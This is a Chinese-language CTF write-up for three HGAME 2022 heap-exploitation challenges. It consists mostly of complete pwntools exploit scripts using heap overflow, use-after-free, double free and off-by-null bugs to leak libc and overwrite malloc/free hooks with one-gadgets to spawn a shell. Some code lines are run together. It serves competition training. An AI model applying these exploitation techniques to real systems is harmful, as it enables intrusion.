PWN-COMPETITION-HGAME2022-Week3
- changeable_note
- elder_note
- sized_note
changeable_note
edit_note中的gets函数存在堆溢出漏洞
本题没有leak函数,考虑利用_IO_2_1_stdout泄露libc
参考:好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc 和(补题)HITCON 2018 PWN baby_tcache超详细讲解
参考文章中的题目libc版本为2.27,从tcache中分配chunk不会检查size域,可以很方便利用
本题的libc版本为2.23,从fastbin中分配chunk时会检查size域是否正确,故须小心选择各chunk大小
# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
context.log_level="debug"
io=process("./changeable_note")
#io=remote("chuj.top",52576)
elf=ELF("./changeable_note")
libc=ELF("./libc-2.23.so")#gdb.attach(io)
#pause()#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#charset = string.printable
#proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
#io.sendlineafter("????> ",proof)def add(index,size,content):io.sendlineafter(">> ","1")io.sendlineafter("index?\n>> ",str(index))io.sendlineafter("size?\n>> ",str(size))io.sendafter("content?\n>> ",content)
def edit(index,content):io.sendlineafter(">> ","2")io.sendlineafter("index?\n>> ",str(index))# heap overflowio.send(content)
def free(index):io.sendlineafter(">> ","3")io.sendlineafter("index?\n>> ",str(index))#pause()add(0,0x90-8,"a"*8+"\n")#0
add(1,0x70,"a"*8+"\n")#1
add(2,0x60,"a"*8+"\n")#2
add(3,0x40,"a"*8+"\n")#3
add(4,0x10,"a"*8+"\n")#4
add(5,0x90-8,"a"*8+"\n")#5
add(6,0x70,"a"*8+"\n")#6#pause()size=0x90+0x20+0x50+0x70+0x80
print("size=="+hex(size))
payload="b"*0x10+p64(size)+p64(0x90)+"\n"
edit(4,payload)#pause()free(2)#2 out#pause()free(0)#0 out#pause()free(5)#5 out#pause()add(0,0x90+0x80-0x10,"c"*8+"\n")#0#pause()free(4)#4 out#pause()add(7,0x70+0x50-0x10,"\xdd\xb5")#7,找到一个地址比_IO_2_1_stdout低的,size域为0x7f的prev_size地址#pause()payload="d"*0x70+p64(0)+p8(0x71)+"\n"
edit(1,payload)#利用堆溢出调整chunk2的size域为0x71,使其能从fastbin中被取出#pause()add(2,0x60,"d"*8+"\n")#2#pause()payload=p64(0)*6+p8(0)*3+p64(0xFBAD1800)+p64(0)*3+"\x00"
add(4,0x60,payload)#4,这里是已经malloc过去了,可能pwngdb看不到p64(0)*3和"\x00"写过去了,但是确实是可以泄露libc的#pause()libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c5600
print("libc_base=="+hex(libc_base))
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[1]
print("ogg=="+hex(ogg))
__malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("__malloc_hook=="+hex(__malloc_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))#pause()add(5,0xb0-0x10,"e"*8+"\n")#pause()###########################################################################add(8,0x90-8,"a"*8+"\n")#8
add(9,0x70,"a"*8+"\n")#9
add(10,0x60,"a"*8+"\n")#10
add(11,0x40,"a"*8+"\n")#11
add(12,0x20,"a"*8+"\n")#12
add(13,0x90-8,"a"*8+"\n")#13
add(14,0x70,"a"*8+"\n")#14#pause()size=0x90+0x30+0x50+0x70+0x80
print("size=="+hex(size))
payload="b"*0x20+p64(size)+p64(0x90)+"\n"
edit(12,payload)#pause()free(10)#10 out#pause()free(8)#8 out#pause()free(13)#13 out#pause()add(8,0x90+0x80-0x10,"c"*8+"\n")#8#pause()free(12)#12 out#pause()add(15,0x70+0x50-0x10,p64(__malloc_hook-0x23))#15,__malloc_hook头上的经典size域为0x7f的prev_size地址#pause()payload="d"*0x70+p64(0)+p8(0x71)+"\n"
edit(9,payload)#利用堆溢出调整chunk10的size域为0x71,使其能从fastbin中被取出#pause()add(10,0x60,"d"*8+"\n")#10#pause()payload=p8(0)*3+p64(0)+p64(ogg)+p64(realloc)
add(12,0x60,payload)#12,写__realloc_hook为one-gadget,__malloc_hook为realloc真实地址(调整栈帧)#pause()io.sendlineafter(">> ","1")
io.sendlineafter("index?\n>> ",str(16))
io.sendlineafter("size?\n>> ",str(0x10))io.sendline("cat flag")io.interactive()
elder_note
delete_note中存在UAF漏洞
首先利用unsorted bin泄露libc
然后通过double free覆盖__realloc_hook为one-gadget,__malloc_hook为realloc真实地址(调整栈帧)
# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
context.log_level="debug"
io=process("./elder_note")
#io=remote("chuj.top",52769)
elf=ELF("./elder_note")
libc=ELF("./libc-2.23.so")#gdb.attach(io)
#pause()#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#charset = string.printable
#proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
#io.sendlineafter("????> ",proof)def add(index,size,content):io.sendlineafter(">> ","1")io.sendlineafter("index?\n>> ",str(index))io.sendlineafter("size?\n>> ",str(size))io.sendlineafter("content?\n>> ",content)
def show(index):io.sendlineafter(">> ","2")io.sendlineafter("index?\n>> ",str(index))
def free(index):io.sendlineafter(">> ","3")io.sendlineafter("index?\n>> ",str(index))#pause()add(0,0x100,"a"*8)
add(1,0x60,"b"*8)
add(2,0x60,"c"*8)
add(3,0x20,"/bin/sh\x00")#pause()free(0)#pause()show(0)
main_arena=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-88
print("main_arena=="+hex(main_arena))
__malloc_hook=main_arena-0x10
print("__malloc_hook=="+hex(__malloc_hook))
libc_base=__malloc_hook-libc.sym["__malloc_hook"]
print("libc_base=="+hex(libc_base))
__free_hook=libc_base+libc.sym["__free_hook"]
print("__free_hook=="+hex(__free_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[1]
print("ogg=="+hex(ogg))#pause()free(1)#pause()free(2)#pause()free(1)#pause()add(4,0x60,p64(__malloc_hook-0x23))#pause()add(5,0x60,"d"*8)#pause()add(6,0x60,"e"*8)#pause()add(7,0x60,p8(0)*3+p64(0)+p64(ogg)+p64(realloc))#pause()io.sendlineafter(">> ","1")
io.sendlineafter("index?\n>> ","8")
io.sendlineafter("size?\n>> ",str(0x10))io.interactive()
sized_note
add和edit两个函数中都存在off by null漏洞
参考:2021第四届强网拟态PWN-wp 中old_school_revenge一题
# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
context.log_level="debug"
#io=process("./sized_note")
io=remote("chuj.top",52833)
elf=ELF("./sized_note")
libc=ELF("./libc.so.6")#gdb.attach(io)
#pause()io.recvuntil("sha256(????) == ")
code=io.recvuntil("\n")[:-1]
charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
io.sendlineafter("????> ",proof)def add(index,size,content):io.sendlineafter(">> ","1")io.sendlineafter("index?\n>> ",str(index))io.sendlineafter("size?\n>> ",str(size))io.sendafter("content?\n>> ",content)
def show(index):io.sendlineafter(">> ","2")io.sendlineafter("index?\n>> ",str(index))
def free(index):io.sendlineafter(">> ","3")io.sendlineafter("index?\n>> ",str(index))
def edit(index,content):io.sendlineafter(">> ","4")io.sendlineafter("index?\n>> ",str(index))io.send(content)#pause()for i in range(7):add(i,0xf8,"\n")add(7,0xf8,"\n")
add(8,0xf8,"\n")
add(9,0xf8,"\n")
add(10,0xf8,"\n")for i in range(7):free(i)free(7)#pause()payload="\x00"*0xf0+p64(0x200)
edit(8,payload)#pause()free(9)for i in range(7):add(i,0xf8,"\n")#pause()add(16,0xf8,"\n")
show(8)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3EBCA0
print("libc_base=="+hex(libc_base))
__malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("__malloc_hook=="+hex(__malloc_hook))
__free_hook=libc_base+libc.sym["__free_hook"]
print("__free_hook=="+hex(__free_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))
oggs=[0x4f3d5,0x4f432,0x10a41c]
ogg=libc_base+oggs[1]
print("ogg=="+hex(ogg))#pause()add(12,0x60,"\n")
free(12)#pause()edit(8,p64(__free_hook))#pause()add(13,0x60,"\n")
add(14,0x60,"\n")#pause()edit(14,p64(ogg))#pause()free(0)io.sendline("cat flag")io.interactive()